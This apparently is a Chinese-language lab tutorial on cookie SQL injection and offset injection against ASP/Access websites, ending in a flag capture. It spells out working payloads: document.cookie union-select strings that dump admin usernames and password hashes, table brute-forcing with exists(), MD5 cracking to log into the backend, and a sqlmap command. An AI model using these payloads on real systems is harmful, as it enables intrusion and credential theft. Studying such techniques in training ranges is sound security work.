cookie注入
什么是cookie
Cookie 就是代表你身份的一串字符串,网站根据Cookie 来识别你是谁,如果你获取了管理员的Cookie ,你可以无需密码直接登陆管理员账号。- 一种储存在用户本地上的数据,指某些网站为了辨别用户身份、进行
session 跟踪而储存在用户本地终端上的数据(通常经过加密)
什么是cookie注入
- 在动态脚本语言中存在超全局变量可以获取多种传参方式(基本上)
- 很多开发的时候为了考虑到多种接受参数,在接受参数的时候都是用多种解释传参的方法
- 例如:
php 中的$_REQUEST[] 可以获取POST|GET|COOKIE 传参 - 注:
php 5.4 及以上版本就不会接受Cookie 传参了。 - 如果说开发用了
$_REQUEST[] 来接受参数?然后我们的POST 和GET 传参被Waf 拦截了怎么办?那么也许Waf 没有对Cookie 进行检测,我们尝试用Cookie 进行传参,然后不就可以绕过检测机制!
设置cookie
- 使用burp抓取数据包,添加一个Cookie字段在请求头里面
注意:Cookie 传参值需要URL 编码
- 用
JS 来设置cookie
我们选择Console ,打开浏览器的控制台,输入设置Js 的语句就可以了 document.cookie="id="+escape("171") 或者document.cookie="id=abc" ,【escape() 函数对字符串进行编码,这个函数会进行一次URL 编码;+ 为拼接符】通过浏览器Document.cookie 来设置Cookie 。
- 在开发者工具中的存储模块下,右键添加项目,写入
cookie 的名称和值。 火狐浏览器: edge浏览器:
注意
- 最简单的联合查询,因为是
Access 数据库,我们没有系统自带表,而且Access 数据库只有一个数据库,不用纠结库名。那么怎么获取Access 数据库的表名和字段名,方法只有爆破。 - 账号密码一般在盛行
Access 数据库的年代,都在admin 表的username 和password 字段中。 Cookie 注入的时候一定要把GET 类型的传参删除,不然优先执行GET 类型传参。- 我们使用浏览器进行修改
cookie 来注入,在控制台修改cookie 后需要在控制台点击一次回车,在页面的url 处点击一次回车,总共需要点击两次,切忌刷新。 access 数据库没有infomation 库,也没有记录表名、字段名的表等。- 如果不知道表名怎么办?
只能靠爆破了,and exists (select*from 表名) 如果页面正常,就是存在这个表 ,access 数据库使用的是exists() 函数,该函数用来检查子查询是否至少会返回一行书库,该子查询返回的是true 或false 。 Cookie 注入常见吗?老一点的ASP 网站常见,PHP 看版本,因为高于5.2 以上的php 版本他的$_REQUEST 将不再接受cookie 传参。
练习
- 进入把场后点击新闻动态,我们看到url中出现
id=171 ,尝试添加and 1=2 ,发现提示被过滤 - 使用
order by 猜测字段数,得出字段数为10. - 我们使用
union select 语句发现出现了报错。 cookie 注入的前提是access 注入,而不是mysql 数据库,所以即使没有过滤也不能使用以往方式进行注入。- 我们用
document.cookie="id=" + escape("171") 来进行cookie 注入,发现回显正常。 - 我们用
document.cookie="id=" + escape("172") 发现回显页面与id=171 相同,说明我们这里设置的cookie 并未生效。 - 我们发现浏览器在
get 传参和cookie 传参同时存在时,会优先进行get 传参。 - 要想传参生效,必须先删除
url 中的get 传参。 document.cookie="id=" + escape("171 and 1=1") 页面回显正常,document.cookie="id=" + escape("171 and 1=2") 回显数据库错误,这等同于第一点中的get 传参语句。document.cookie="id="+escape("171 and exists (select * from admin)") 回显正常。- 使用
burp 进行表名的爆破,其中表可以从sqlmap 中data 文件夹下面自带的表进文件进行爆破。 document.cookie="id="+escape("171 and exists (select username from admin)") 回显正常- 爆破admin表中的列名跟上面一样的步骤。
document.cookie\="id="+escape("171 and 1=2 union select 1,2,3,4,5,6,7,8,9,10 from admin") 【access 数据库不支持select 1,2,3 这样的语句,他必须要跟表名】查看回显位置。 document.cookie="id="+escape("171 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin") 得到一串字符,一般均为加密后的字符。 - 16位或者32位很大概率为md5加密,我们用
md5 解密账户admin 的密码。 - 我们使用账号密码登录后台。
sqlmap如何跑cookie注入(不建议)
Sqlmap 可以提高检测等级来进行cookie 注入(检测等级3 及以上,要指定参数) 还可以抓包,在Cookie 后面打个* 就可以了
sqlmap.py -u "http://kypt8004.ia.aqlab.cn/shownews.asp" --cookie "id=171" --level 2
偏移注入
使用场景
- 在
SQL 注入的时候会遇到一些无法查询列名的问题,比如系统自带数据库的权限不够而无法访问系统自带库。 - 当你猜到表名无法猜到字段名的情况下,我们可以使用偏移注入来查询那张表里面的数据。
- 像
Sqlmap 之类的工具实际上是爆破字段的名字,但是如果字段名称比较奇葩,例如:H5scker_Passwd 之类的那就无可奈何了
常用语句
select admin.* from admin = select username,password from admin => admin.* id,username,password admin 表中的所有字段select * from news where id = 1 union select 1,2,3,admin.*,7,8,9,10 (假设news 表中有10 个字段,并且6 这个位置是显错位,admin 表假设拥有3 个字段分别是id,username,password )
select 1,2,3,4,admin.*,8,9,10 =>select 1,2,3,4,id,username,password,8,9,10
偏移注入步骤
注意
- 前提:偏移注入要注入表的字段数,小于当前页面的字段数
Access 偏移注入使用场景:一些无法查询的列名,比如权限不足的知道表名却不知道字段 ,使用偏移查询主要查询字段及内容等mysql 也可以使用偏移注入。access 数据库里没有系统自带表,只能猜。and exist(select * from admin) 类似的盲注的语句能否使用? 这里主要是涉及偏移注入,那一条的确是access 的盲注语句,但在现在的情况下并不适用,因为你不知道字段名,无法盲注
练习
- 使用union select语句,
document.cookie="id=" + escape("171 union select 1,2,3,4,5,6,7,8,9,10 from admin") 得出显错位为2和3.【只是指定了admin 表,并不是当前表】 document.cookie="id=" + escape("171 union select 1,admin.*,3,4,5,6,7,8,9,10 from admin") 发现回显错误,因为我们并不知道admin表中有几个字段。- 再次尝试
document.cookie="id=" + escape("171 union select admin.*,3,4,5,6,7,8,9,10 from admin") 回显错误,说明admin表中并不是有两个字段。 - 我们尝试到
10 ,发现依然回显错误,说明表的字段数要大于当前页面的字段数。 - 我们切到产品中心页面尝试后,发现该页面存在注入问题。
document.cookie="id=" + escape("105 order by 26") 说明当前页面字段数为26.- 使用第二步的语句,
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from admin 查看admin表中的回显位置,发现回显位置为3、5、7、25. - 使用第三步的方法,得出admin表中的字段数为16.
document.cookie="id=" + escape("105 union select 1,2,3,4,5,6,7,8,9,admin.*,26 from admin") 得出flag在显错位25.
|